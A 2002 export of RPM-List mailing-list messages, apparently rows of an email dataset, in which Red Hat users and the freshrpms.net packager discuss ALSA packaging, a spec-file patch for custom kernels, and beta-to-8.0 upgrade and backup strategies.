Do I look like a freakin' people person? _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Troy Engel ,rpm-zzzlist@freshrpms.net,"Mon, 30 Sep 2002 13:33:11 -0700",Re: ALSA Problem with Null kernel,"Matthias Saou wrote: > > I'd like to aks this on the rpm-zzzlist : Would a new dependency of 250k, the > alsa-lib package, for many packages (mplayer, ogle, xine) be a problem for > the freshrpms.net packages users? As I really feel like blending ALSA in > now, especially since I've just spent some time recompiling alsa-kernel > package for all the Psyche kernels!!! I don't know a lot about ALSA, but use custom kernels for many of the machines -- would this mean, in order to get mplayer (eg) to work, I'd first have to compile a custom kernel option? or kernel module? Since I wouldn't have your alsa-kernel(??) installed, would that mean alsa-libs and so on won't install? (I guess, in short, if it *requires* the shipped kernel to be used, I'd be against --with-alsa as a default?) -te -- Troy Engel, Systems Engineer Cool as the other side of the pillow _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,Hesty P ,"Mon, 30 Sep 2002 22:51:31 +0200",Re: ALSA Problem with Null kernel,"Once upon a time, Hesty wrote : > > Where you can see : > > Available rpmbuild rebuild options : > > --with : alsa > > --without : aalib lirc libdv arts > > Does this mean when rebuilding the package, I'll > simply > type: > > rpmbuild --rebuild .src.rpm --with alsa ? Yes it does. And if you're missing the dependencies needed for the selected options, you'll even be informed! (for ALSA, you'll need alsa-lib-devel for example) > > I'd like to aks this on the rpm-zzzlist : Would a new > > dependency of 250k, the > > alsa-lib package, for many packages (mplayer, ogle, > > xine) be a problem for > > the freshrpms.net packages users? As I really feel > > like blending ALSA in > > now, especially since I've just spent some time > > recompiling alsa-kernel > > package for all the Psyche kernels!!! > > > > I'll have no problem at all with this and you get my > vote on this one. > > One problem with alsa-kernel that I've experienced: > everytime RH issues a new kernel update, I have to > rebuild my alsa-kernel to match the new kernel. Yup... unfortunately the alsa-kernel needs to be rebuilt for each kernel, and there's no way of avoiding it. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ralf Ertzinger ,rpm-zzzlist@freshrpms.net,"Mon, 30 Sep 2002 23:53:23 +0200",Re: apt 0.5.7 on RH 7.x,"Hi. Matthias Saou wrote: > repository... and there's where the problem will be : It will say that > there are two synaptic-0.24-fr1 packages (one installed, the other > available) with the same version but different dependencies :-/ > That's why I always keep package versions lower for older distributions. Ah, now I see. This is a non-issue here, so I'll rebuild locally :) -- Dog for sale: eats anything and is fond of children. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 30 Sep 2002 22:59:46 +0200",Re: apt 0.5.7 on RH 7.x,"Once upon a time, Ralf wrote : > Matthias Saou wrote: > > My main concern is that when rebuilding the recent packages I've made > > for Psyche on Valhalla, I'd need to lower the ""Release:"" tag (to keep > > an upgrade working), and that would f*ck up my CVS repository which is > > on my Valhalla box > > Sorry, I don't get it. What's wrong with a release tag of fr1? Say you have installed synaptic-0.24-fr1 on your Valhalla box (package rebuilt for Valhalla). Then you upgrade to Psyche using the Red Hat CDs. Hopefully with the compat libraries the package will still be there (although I doubt that since C++ is binary incompatible, so this is probably a bad example), then you ""apt-get update"" with the new Psyche repository... and there's where the problem will be : It will say that there are two synaptic-0.24-fr1 packages (one installed, the other available) with the same version but different dependencies :-/ That's why I always keep package versions lower for older distributions. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Tue, 01 Oct 2002 06:18:53 +0000",use new apt to do null to RH8 upgrade?,"Is it possible to use new apt to do (null) to RH8 upgrade? Even if it's possible, are there good reasons why maybe I should not do it and just use the RH iso's (I don't think RH8 will upgrade from (null), maybe up2date will)? -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Thomas Vander Stichele ,rpm-zzzlist@freshrpms.net,"Tue, 1 Oct 2002 10:27:47 +0200 (CEST)",Re: use new apt to do null to RH8 upgrade?,"> Is it possible to use new apt to do (null) to RH8 upgrade? It might be, don't think anyone tried it yet. > Even if it's possible, are there good reasons why maybe I should not do it and > just use the RH iso's (I don't think RH8 will upgrade from (null), maybe up2date > will)? Yes ;) first off, redhat does not support upgrading from beta's to the released version. That doesn't mean it can't work, it means nobody tried it, they sure didn't test it or fix anything to make it work, and you're on your own. second, historically a new .0 numbers mostly means ""so much has been changed that you might have problems upgrading from any previous release anyway"". So, historically, most users installing a .0 release do this from scratch anyway, doing upgrades throughout x.0->x.y. If you want to avoid problems, bite the bullet and reinstall ;) Thomas -- The Dave/Dina Project : future TV today ! - http://davedina.apestaart.org/ <-*- -*-> And every time she sneezes I think it's love and oh lord I'm not ready for this sort of thing <-*- thomas@apestaart.org -*-> URGent, the best radio on the Internet - 24/7 ! - http://urgent.rug.ac.be/ _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,"Tue, 01 Oct 2002 21:29:21 +1200",Re: use new apt to do null to RH8 upgrade?,"I remember apt-get dist-upgrading from 7.2 to 7.3 fine, so it -should- work, maybe :) --On Tuesday, October 01, 2002 10:27:47 +0200 Thomas Vander Stichele wrote: > It might be, don't think anyone tried it yet. -- \m/ -- ""...if I seem super human I have been misunderstood."" (c) Dream Theater mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 1 Oct 2002 12:12:44 +0200",Re: use new apt to do null to RH8 upgrade?,"Once upon a time, Mark wrote : > I remember apt-get dist-upgrading from 7.2 to 7.3 fine, so it -should- > work, maybe :) I've done that too, on many production servers. The only little (unimportant) catch is to replace ""kernel-headers"" by ""glibc-kernheaders"", a simple ""apt-get install glibc-kernheaders"" taking care of that. Upgrading between releases is meant to work, not between betas or beta and releases. The reason is simple : Some packages may have been downgraded, some others may have been rebuilt with the same versions but different dependencies. For both these categories of packages, the upgrade through apt/rhn/whatever just won't do, as some older packages might be considered as the newest, thus being kept on the system. As Red Hat does, I really don't recommend trying to upgrade between betas or from a beta to a final release either. Simply backup your /home, /etc (and /root and/or /usr/local/ if needed) then reinstall cleanly, it'll probably save a few hassles and you'll get the cleanest possible system ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Panu Matilainen ,rpm-zzzlist@freshrpms.net,"Tue, 1 Oct 2002 14:16:16 +0300 (EEST)",Re: use new apt to do null to RH8 upgrade?,"On Tue, 1 Oct 2002, Angles Puglisi wrote: > Is it possible to use new apt to do (null) to RH8 upgrade? Possible - should be, it was possible to update to (null) from RH7.3 with apt. Did that on my laptop and well.. it was painfull to say the least (including a ecovery from totally corrupted rpmdb) Don't expect it to be an easy 'dist-upgrade' at any rate, so much stuff has changed and apt doesn't always handle all that well the way dependencies are set in RHL. > > Even if it's possible, are there good reasons why maybe I should not do > it and just use the RH iso's (I don't think RH8 will upgrade from > (null), maybe up2date will)? It's possible but not supported by RH. I've upgraded both my laptop and my home box from (null) to RH8.0 and didn't encounter any issues though. -- - Panu - _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 1 Oct 2002 13:50:11 +0200",Re: Gabber packages for 8.0 (was: All set for Red Hat Linux 8.0),"Once upon a time, Julian wrote : > I would appreciate it if you could get Gabber packages for Red Hat 8. I > will be making a new release soon, but even in the meantime, 0.8.7 > packages would be ok. > > I know that in the beta, red hat was using a modified version of > gnome-libs which is incompatible with the latest gnomemm. If this is > still the case in 8, I can send you a patch which makes gnomemm work > again... I'm facing another problem right now. It looks like libsigc++ is no longer included in the distribution, and gtkmm won't compile without it :-/ I guess I'll have to repackage it myself for 8.0 (assuming it's possible). Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.28 0.15 0.10 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 1 Oct 2002 15:11:27 +0200",Re: Gabber packages for 8.0 (was: All set for Red Hat Linux 8.0),"Once upon a time, Matthias wrote : > I'm facing another problem right now. It looks like libsigc++ is no > longer included in the distribution, and gtkmm won't compile without it > :-/ I guess I'll have to repackage it myself for 8.0 (assuming it's > possible). Well, I've made an updated libsigc++ 1.0.4 package. It rebuilds cleanly on 7.3 but the *.so* libraries are missing when trying to rebuild on 8.0 (the .a and .la files and everything else is though). Do you have an idea of what the problem may be? Julian : Do you want the .src.rpm to try to find the cause? Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.19 0.15 0.16 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Tue, 01 Oct 2002 23:49:35 +0000",Re: use new apt to do null to RH8 upgrade?,"Matthias Saou (matthias@egwn.net) wrote*: >As Red Hat does, I really don't recommend trying to upgrade between betas >or from a beta to a final release either. Simply backup your /home, /etc >(and /root and/or /usr/local/ if needed) then reinstall cleanly, it'll >probably save a few hassles and you'll get the cleanest possible system ;-) > I think this is probably the best way, because I think (maybe) with upgrading you do not always automatically get the latest feature enabled in some config file because RH would rather take it easy and not update that config file (you get a rpmnew instead of rpmsaved file) so they get less calls to support that way. Anyway, I have tons of media files in /home/* probably 5 to 10 gigs at least, my laptop's CDROM takes 700MB at a time (obviously) and compressing media files is dumb because they are already compressed. Dumb question: how to backup huge data? Network backup to another box? I do not have a box with a tape drive, but maybe box with a large HD with much free space could take the backup (oops, I do not have a space computer with a large HD with much free space). These media files are backed up - ON THE CD'S THEY CAME FROM! Yes I learned that used CDs make inexpensive backup copy on the shelf. I do not want to re-rip all this crap again. -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Thomas Vander Stichele ,rpm-zzzlist@freshrpms.net,"Wed, 2 Oct 2002 09:44:15 +0200 (CEST)",Re: use new apt to do null to RH8 upgrade?,"> Matthias Saou (matthias@egwn.net) wrote*: > >As Red Hat does, I really don't recommend trying to upgrade between betas > >or from a beta to a final release either. Simply backup your /home, /etc > >(and /root and/or /usr/local/ if needed) then reinstall cleanly, it'll > >probably save a few hassles and you'll get the cleanest possible system ;-) > > I think this is probably the best way, because I think (maybe) with upgrading you > do not always automatically get the latest feature enabled in some config file > because RH would rather take it easy and not update that config file (you get a > rpmnew instead of rpmsaved file) so they get less calls to support that way. If you dislike Red Hat, why use it ? This was a really bad argument against using Red Hat that makes no sense at all. I for one am GLAD that they a) don't overwrite your config files on a whim (be GLAD they don't do some sort of autodetection and changing crap) b) tell you on rpm upgrade what config files you should look at because formats have changed. Red Hat is not ""taking it easy"" on this, it's putting control in the hands of you, the maintainer of the machine. Don't be lazy. > Anyway, I have tons of media files in /home/* probably 5 to 10 gigs at least, my > laptop's CDROM takes 700MB at a time (obviously) and compressing media files is > dumb because they are already compressed. Dumb question: how to backup huge data? > Network backup to another box? I do not have a box with a tape drive, but maybe box > with a large HD with much free space could take the backup (oops, I do not have a > space computer with a large HD with much free space). You don't need to backup /home if you are careful enough. You did put /home on a separate partition, no ? Just install rh80 and tell it to use the same partition as /home and tell it to NOT format it, but keep the data as is. If you didn't put /home on a separate partition, then you really do need to make backups. Use an nfs or smb mount from another machine to backup and rsync straight to the mount, or if that's not possible, rsync over ssh. It's the best way to make backups. > These media files are backed up - ON THE CD'S THEY CAME FROM! It's the other way around - your media files are backups of the CD's they came from ;) Good luck, Thomas -- The Dave/Dina Project : future TV today ! - http://davedina.apestaart.org/ <-*- -*-> You know the shape my breath will take before I let it out <-*- thomas@apestaart.org -*-> URGent, the best radio on the Internet - 24/7 ! - http://urgent.rug.ac.be/ _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ben Liblit ,rpm-zzzlist@freshrpms.net,"Wed, 02 Oct 2002 00:54:56 -0700",alsa-driver.spec tweak for homemade kernels,"This is a multi-part message in MIME format. --Boundary_(ID_KtnWPrcWHTTzQa7OHxPjiA) Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7BIT I use a mostly Red Hat 8.0 system, but prefer to configure and build my kernel by hand. I'd like to humbly offer a tweak to alsa-driver.spec that helps it build cleanly under such circumstances. I recognize that freshrpms.net packages are designed with standard Red Hat in mind, including a standard kernel RPM. However, I hope that Matthias will consider the tweak small enough to justify its incorporation. The diff is attached below. The first part of the diff contains a conditional that checks to see if the expected RPM is installed. If it is, %{karch} is set as before and a new %{krpm} flag is set to 1. If the expected RPM is not installed, then %{karch} is instead set using ""uname -p"", while %{krpm} is left undefined. The second part of the diff is simpler. We only require that kernel-source be installed if the kernel itself came from an RPM. (If the kernel was hand-built, the presumably the user knows enough to have retained the sources in the expected place.) Again, I realize that I'm operating ""off warrantee"" by not using a Red Hat kernel RPM. Matthias, if you think this tweak is reasonable and not too ugly, I'd love to see you pick it up. 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Simply backup your /home, /etc > > >(and /root and/or /usr/local/ if needed) then reinstall cleanly, it'll > > >probably save a few hassles and you'll get the cleanest possible system ;-) Yeah, I need to work this out, too; I just learned my lesson about living on the bleeding edge. Lesson learned? NO MORE XIMIAN, UNDER ANY CIRCUMSTANCES. Man, that was annoying. Anyway, I have returned to Redhat 7.3 on my root filesystem (saved my home directories, music and games on other partitions) and while I have the 8.0 stuff in the list, everything I want to upgrade requires 200+ RPMs. I'm not opposed to this, but apt is. ""apt-get dist-upgrade"" dumps core. What's the inside secret here, or do I just start searching mirrors for the ISO and get over it? ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ Just machines, to make big decisions- programmed by fellas with compassion and vision. We'll be clean when that work is done; Eternally free and eternally young. Linux. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 2 Oct 2002 10:09:19 +0200",Re: alsa-driver.spec tweak for homemade kernels,"Once upon a time, Ben wrote : > I use a mostly Red Hat 8.0 system, but prefer to configure and build my > kernel by hand. I'd like to humbly offer a tweak to alsa-driver.spec > that helps it build cleanly under such circumstances. I recognize that > freshrpms.net packages are designed with standard Red Hat in mind, > including a standard kernel RPM. However, I hope that Matthias will > consider the tweak small enough to justify its incorporation. Well, I don't really find it consistent at all to use an rpm package built against something that wasn't installed through rpm :-/ What I'd recommend in your case : You should keep at least one original Red Hat Linux kernel (you do just in case, right? ;-)) and install the matching alsa-kernel package as you'll need at least one because of the dependencies. Then for your custom built kernel, simply ""./configure --with-cards=all && make && make install DESTDIR=/tmp/alsa-driver"" from the alsa-driver sources then as root copy all the modules under /tmp/alsa-driver/lib/modules/ to your modules dir and run ""depmod -a"". Of course you can even make it much faster by not compiling all un-needed drivers, as I guess that's one of the reasons one would rebuild his own kernel. I find this the easiest and cleanest way to get around the problem. It's what I've done and what I'll keep doing on my laptop where I'm running a kernel recompiled with ACPI. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.00 0.02 0.00 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ben Liblit ,rpm-zzzlist@freshrpms.net,"Wed, 02 Oct 2002 01:51:32 -0700",Re: alsa-driver.spec tweak for homemade kernels,"Matthias Saou wrote: > Well, I don't really find it consistent at all to use an rpm package > built against something that wasn't installed through rpm :-/ Oh well. Fair enough. > What I'd recommend in your case [...] Ugh, way too much manual labor. :-) What I've done instead is to create a tiny little ""kernel.spec"" that installs no files but claims to produce a kernel package having version number `uname -r` for architecture `uname -p`. It also claims to provide kernel-sources at the same version. That is enough to make alsa-driver.spec happy, and at least forms a reasonable representation of what my homemade kernel provides to the system. I should have thought of this approach sooner. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 2 Oct 2002 10:53:24 +0200",Re: use new apt to do null to RH8 upgrade?,"Once upon a time, Brian wrote : > Yeah, I need to work this out, too; I just learned my lesson about > living on the bleeding edge. Lesson learned? NO MORE XIMIAN, UNDER > ANY CIRCUMSTANCES. Man, that was annoying. We all learned that sooner or later, right? When I got down to that myself is when I started redhat.aldil.org, now known as freshrpms.net ;-) > Anyway, I have returned to Redhat 7.3 on my root filesystem (saved my > home directories, music and games on other partitions) and while I > have the 8.0 stuff in the list, everything I want to upgrade requires > 200+ RPMs. > > I'm not opposed to this, but apt is. ""apt-get dist-upgrade"" dumps > core. Strange. Anyway, although I'd easily recommend upgrading 7.x to 7.3 using apt, I wouldn't for 7.x to 8.0 as they are C++ binary incompatible... and apt is entirely written in C++ and dynamically linked :-/ Still, that doesn't explain a core dump :-( > What's the inside secret here, or do I just start searching mirrors > for the ISO and get over it? Why ""search""? There's more than enough to choose from here : http://freshrpms.net/mirrors/psyche.html Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Panu Matilainen ,"apt-rpm@distro.conectiva.com.br, ","Wed, 2 Oct 2002 12:39:34 +0300 (EEST)",Debian-style task-packages for RH8.0 available,"Hi, This has been hashed over a few times on various lists, now I finally got around to doing something about it... You can now add ""rpm http://koti.welho.com/pmatilai/ redhat/8.0 task"" to your sources.list and after apt-get update you can find out what's available with 'apt-cache search ^task-' These are generated directly from comps.xml of RH8.0 so they contain exactly the same packages as you'll get by choosing the various categories at install time. I didn't bother including SRPMS for these as they are rather uninteresting, if you want you can re-generate the .specs by running http://koti.welho.com/pmatilai/comps2task/comps2task.py. BTW the repository only contains the task-packages, you'll need an apt-enabled mirror of RH8.0 in your sources.list to actually do anything with it. -- - Panu - _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 2 Oct 2002 11:45:33 +0200",freshrpms.net resources (was Re: use new apt to do null to RH8,"Once upon a time, Brian wrote : > Yeah, but I try to 'take it easy' on your server. The golden rule of > the internet: when you find a free resource, don't piss'em off! :) I > really appreciate your work; you get done the things I wish I could, > and I respect that. Don't worry too much : The day the server gets too busy, I'll cleanup and publish the addresses of some mirrors, as many ftp mirrors exist (I'm aware of at least 15), and even an apt one :-) For now, the limit is far enough : When I unlocked the Psyche ISO images on Monday, the bandwidth usage on the current (ftp|http|rsync) freshrpms.net server went up to 90Mbps sustained, which is not bad as the server has a 100Mbps physical NIC! Of course, I'd get in trouble if it was always like that, but the average used when no new Red Hat release is there is between 2 and 4Mbps, which my company tolerates, as I've convinced them it's a useful return to the community providing us the great operating system all our servers are running ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Wed, 2 Oct 2002 04:18:52 -0500",Re: use new apt to do null to RH8 upgrade?,"On Wed, 2 Oct 2002 10:53:24 +0200, Matthias Saou wrote: > > Anyway, I have returned to Redhat 7.3 on my root filesystem (saved my > > home directories, music and games on other partitions) and while I > > have the 8.0 stuff in the list, everything I want to upgrade requires > > 200+ RPMs. Yeah, but I try to 'take it easy' on your server. The golden rule of the internet: when you find a free resource, don't piss'em off! :) I really appreciate your work; you get done the things I wish I could, and I respect that. > Anyway, although I'd easily recommend upgrading 7.x to 7.3 using apt, I > wouldn't for 7.x to 8.0 as they are C++ binary incompatible... and apt is > entirely written in C++ and dynamically linked :-/ OK, I'll search for the ISOs on the one remaining site that isn't hammered. :) > Still, that doesn't explain a core dump :-( Sure: this is a linking issue, right? Right now I'm still pure-vanilla. I have the stock version of rpm/rpmlib/popt/etc and the recommended version of apt that you gave me. No, wait...there's no new code getting loaded. I don't know, either. It's been a long day. > > What's the inside secret here, or do I just start searching mirrors > > for the ISO and get over it? > > Why ""search""? There's more than enough to choose from here : > http://freshrpms.net/mirrors/psyche.html The hunt continues- with a new field! (Actually I checked there yesterday, but it's worth another shot.) Thanks! ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ Just machines, to make big decisions- programmed by fellas with compassion and vision. We'll be clean when that work is done; Eternally free and eternally young. Linux. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 2 Oct 2002 18:57:28 +0200",Re: use new apt to do null to RH8 upgrade?,"Once upon a time, """"Angles"" wrote : > When I went all ""Open Source"", I stopped using my old partioning app > (partition magic?). For the RH7 install I used FIPS (a couple times). > Then ext3 came out and my old commercial partioning app is real old, so I > ask what OS software can non-destructively repartition a HD so I can put > /home on a seperate partition now? Parted is your friend! You can't do _everything_, the most limiting being that you can't move the start of a partition, but it's quite powerful nevertheless, and I've been very happy with it the few times I've had to use it. > >If you didn't put /home on a separate partition, > > With winbloze 9x I used to deltree the winbloze dir and some ""Program > Files"" dirs, and install ""fresh"" instead of upgrade, while saving my > other data. Can this trick be used with this RH8 upgrade? Example rpm -e > everything so all packages are gone, hit ""reset"" button and boot to > redhat CDROM in admin (rescue?) mode, delete all those config files left, > like ""/etc/*"", then do an install BUT NOT FORMAT THAT SINGLE PARTITION > that I'm installing on. If I can hack the details, is this theory > accurate, or will RH want to destructively install and elimate all > existing files? You're really better off backuping all placed where you know you've hand edited or installed some files. For me that's only /etc/, /root/ and /home/. Then you reinstall cleanly, formating ""/"", put your /home/ files back into place and you're ready to go. That's the moment I usually realize I had a nifty tweak to a file in /etc/sysconfig/network-scripts/ or some special parameters added to an /etc/modules.conf entry... so I look at my backup and make the same change again. The only thing where you can get stuck is the grub.conf files, because although there's a /etc/grub.conf link, it's actually in /boot/grub/ so you may want to copy it too if you have special kernel parameters to save (I have to pass ""pci=bios,biosirq"" for one of my computers to work for example). HTH, Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Gary Peck ,rpm-zzzlist@freshrpms.net,"Wed, 2 Oct 2002 12:36:02 -0700",Re: alsa-driver.spec tweak for homemade kernels,"--RnlQjJ0d97Da+TV1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Oct 02, 2002 at 10:09:19AM +0200, Matthias Saou wrote: > Well, I don't really find it consistent at all to use an rpm package built > against something that wasn't installed through rpm :-/ Following that reasoning, I've been installing all my custom-built kernels through rpm recently. I find it annoying, though, that alsa-kernel, and similar packages, will only build for the currently running kernel. So I've attached a patch to specify an alternate kernel by setting the ""TARGET_KERNEL"" environment variable before running rpmbuild. You still need to have the rpm for the specified kernel installed, but at least it doesn't have to be currently running. It's kinda hackish, so if someone has a better way to do this, let me know. gary --RnlQjJ0d97Da+TV1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline; filename=""alsa-driver-spec.patch"" --- alsa-driver.spec.orig 2002-10-02 12:25:26.000000000 -0700 +++ alsa-driver.spec 2002-10-01 21:23:19.000000000 -0700 @@ -3,9 +3,12 @@ # Comma separated list of cards for which to compile a driver %define cards all -%define kunamer %(uname -r) -%define kversion %(echo $(uname -r) | sed -e s/smp// -) -%if %(uname -r | grep -c smp) +%if %(printenv TARGET_KERNEL >/dev/null && echo -n 1 || echo -n 0) +%define usekernel %(echo -n $TARGET_KERNEL) +%endif +%define kunamer %{!?usekernel: %(uname -r)}%{?usekernel} +%define kversion %(echo %{kunamer} | sed -e s/smp// -) +%if %(echo %{kunamer} | grep -c smp) %{expand:%%define ksmp -smp} %endif %define karch %(rpm -q --qf '%%{arch}' kernel%{?ksmp}-%{kversion}) @@ -77,6 +80,7 @@ %{?_without_isapnp:--with-isapnp=no} \ %{?_without_sequencer:--with-sequencer=no} \ %{?_without_oss:--with-oss=no} \ + %{?usekernel:--with-kernel=/lib/modules/%{usekernel}/build} \ --with-cards=%{cards} make @@ -106,10 +109,10 @@ rm -f %{buildroot}/etc/rc.d/init.d/alsasound %post -n alsa-kernel%{?ksmp} -/sbin/depmod -a +/sbin/depmod -a -F /boot/System.map-%{kunamer} %{kunamer} %postun -n alsa-kernel%{?ksmp} -/sbin/depmod -a +/sbin/depmod -a -F /boot/System.map-%{kunamer} %{kunamer} %clean rm -rf %{buildroot} --RnlQjJ0d97Da+TV1-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Wed, 02 Oct 2002 19:35:48 +0000",Re: use new apt to do null to RH8 upgrade?,"Matthias Saou (matthias@egwn.net) wrote*: >You're really better off backuping all placed where you know you've hand >edited or installed some files. For me that's only /etc/, /root/ and >/home/. Then you reinstall cleanly, formating ""/"", put your /home/ files >back into place and you're ready to go. Matthias I gotta believe you, I've been using your RPMs for some time now :) That's the way I'll do it. A clean start but with the old configs at the ready for diff- ing when needed. I'll find some old HD for those media files. -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 2 Oct 2002 22:45:04 +0200",Re: alsa-driver.spec tweak for homemade kernels,"Once upon a time, Gary wrote : > On Wed, Oct 02, 2002 at 10:09:19AM +0200, Matthias Saou wrote: > > Well, I don't really find it consistent at all to use an rpm package > > built against something that wasn't installed through rpm :-/ > > Following that reasoning, I've been installing all my custom-built > kernels through rpm recently. I find it annoying, though, that > alsa-kernel, and similar packages, will only build for the currently > running kernel. > > So I've attached a patch to specify an alternate kernel by setting the > ""TARGET_KERNEL"" environment variable before running rpmbuild. You > still need to have the rpm for the specified kernel installed, but at > least it doesn't have to be currently running. It's kinda hackish, so > if someone has a better way to do this, let me know. That idea looks good although it maybe needs to be tweaked a bit more (what you sent doesn't support packages named ""kernel-smp""). I'd also prefer a cleaner way than the env variable, and preferrably not editing the spec... probably ""--define 'target 2.4.xx-xx' --with smp"". Sound good enough? The BuildRequires on ""kernel-source"" will also need to be removed because it won't necessarily need to be true, and that does bug me a bit :-/ More ideas are welcome. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.08 0.06 0.03 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 2 Oct 2002 22:46:20 +0200",Re: use new apt to do null to RH8 upgrade?,"Once upon a time, """"Angles"" wrote : > Matthias Saou (matthias@egwn.net) wrote*: > >You're really better off backuping all placed where you know you've hand > >edited or installed some files. For me that's only /etc/, /root/ and > >/home/. Then you reinstall cleanly, formating ""/"", put your /home/ files > >back into place and you're ready to go. > > Matthias I gotta believe you, I've been using your RPMs for some time now > :) That's the way I'll do it. I'm no ""messiah"", just do what you think suits you the best :-) Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.05 0.06 0.03 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roi Dayan ,rpm-zzzlist@freshrpms.net,"Thu, 03 Oct 2002 10:05:46 +0300",Mplayer,"Hey Since I upgraded to redhat8 mplayer -vo sdl isnt working for me It gives me black screen and I only hear sound. can anyone help me with this ? btw, also the source rpm specified that I can do --without libdv but it didn't work, worked for lirc and arts. Thanks, Roi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 3 Oct 2002 11:05:10 +0200",Re: Mplayer,"Once upon a time, Roi wrote : > Since I upgraded to redhat8 mplayer -vo sdl isnt working for me > It gives me black screen and I only hear sound. > > can anyone help me with this ? I'll test this as soon as I can. > btw, > also the source rpm specified that I can do --without libdv > but it didn't work, worked for lirc and arts. Should be fixed : You probably had libdv-devel installed and MPlayer 